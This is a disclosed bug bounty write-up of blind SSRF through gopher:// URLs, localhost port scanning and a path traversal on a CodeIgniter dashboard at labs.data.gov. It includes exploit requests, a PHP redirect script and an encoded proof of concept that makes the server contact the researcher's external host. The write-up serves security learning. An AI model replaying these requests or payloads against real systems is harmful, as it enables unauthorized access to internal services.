# Blind SSRF on https://labs.data.gov/dashboard/Campaign/json_status/ Endpoint

CodeIgniter route maps URL segments directly to controller methods, letting attacker invoke json_status() with gopher:// URLs to trigger blind SSRF and port-scan localhost.

- Payout: $300
- Severity: medium
- Program: GSA Bounty
- Found by: mariuszdeepsec
- Disclosed: 2020-07-10
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/895696
- Library page: https://bugbountylibrary.com/r/h1%3A895696
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:medium tech:php technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** CodeIgniter PHP app (labs.data.gov dashboard) Campaign controller json_status endpoint
**Root cause:** Routes pass URL segments directly as controller method arguments, and json_status($status,$real_url,$component) passes user-controlled $real_url to a URL-fetching function without validation, allowing arbitrary schemes like gopher://.
**Steps:**
1. Identify controller methods via GitHub source: application/controllers/Campaign.php json_status($status,$real_url,$component).
2. Call `GET /dashboard/Campaign/json_status/gopher%3A%2F%2F127.0.0.1%3A4445` to probe localhost port 25.
3. Host o.php on VPS that redirects to attacker-controlled URL: `<?php header("Location: ".$_GET["s"]); ?>`.
4. Send `GET /dashboard/Campaign/json_status/http%3A%2F%2F<vps>%2Fo.php%3Fs%3Dgopher%3A%2F%2F<vps>%3A25%2F...` to force server to fetch gopher payload.
5. Observe netcat on port 25 receiving SMTP-like payload from AWS egress IP, confirming SSRF.
6. Port-scan localhost by timing: closed port 4445 returns 200 in ~163ms; open 443 yields 504 timeout; port 8080 closed returns 157ms; port 25 times out (open).
7. LFI: `GET /dashboard/Docs/index/..%2fREADME` reads README.md from root (limited by hardcoded .md suffix).
**How found:** Read the open-source repo on GitHub, noticed all controller methods are public and route segments map directly to method parameters, then crafted URLs to invoke json_status with a gopher:// argument.
**Exploitation:** Attacker uses the json_status route to make the server issue requests to arbitrary URLs including gopher://, achieving blind SSRF to internal services and localhost port scanning via response timing. Also reaches non-GUI controller methods (user/metadata, user/acs) exposing SAML metadata and stack traces.
**Escalation:** Chained route-argument injection to reach hidden controller methods (user/metadata, user/acs) and to LFI via Docs controller, expanding from SSRF to info disclosure.
**Insight:** When a CodeIgniter (or similar MVC) app is open source, enumerate every public controller method and its parameter order; URL segments map positionally to args, so any method taking a URL/file param becomes an SSRF/LFI sink even if not linked in the GUI.

## Proof of concept (copied exactly from the original report)

**Gopher SSRF request to internal SMTP port 25**

```
GET /dashboard/Campaign/json_status/%68%74%74%70%3a%2f%2f%35%31%2e%31%37%38%2e%34%37%2e%31%37%36%2f%6f%2e%70%68%70%3f%73%3d%67%6f%70%68%65%72%3a%2f%2f%35%31%2e%31%37%38%2e%34%37%2e%31%37%36%3a%32%35%2f%5f%48%45%4c%4f%25%32%30%74%65%73%74%2e%6f%72%67%25%32%35%30%64%25%32%35%30%61%4d%41%49%4c%25%32%30%46%52%4f%4d%3a%25%32%30%25%32%35%30%64%25%32%35%30%61%52%43%50%54%25%32%30%54%4f%3a%6b%6f%6e%74%61%6b%74%40%64%65%65%70%73%65%63%2e%70%6c%25%32%35%30%64%25%32%35%30%61%44%41%54%41%25%32%35%30%64%25%32%35%30%61%54%65%73%74%25%32%35%30%64%25%32%35%30%61%2e HTTP/1.1
```

**Path traversal reading README via Docs index**

```
https://labs.data.gov/dashboard/Docs/index/..%2fREADME
Function called "Docs" param $page = ..%2fREADME
```

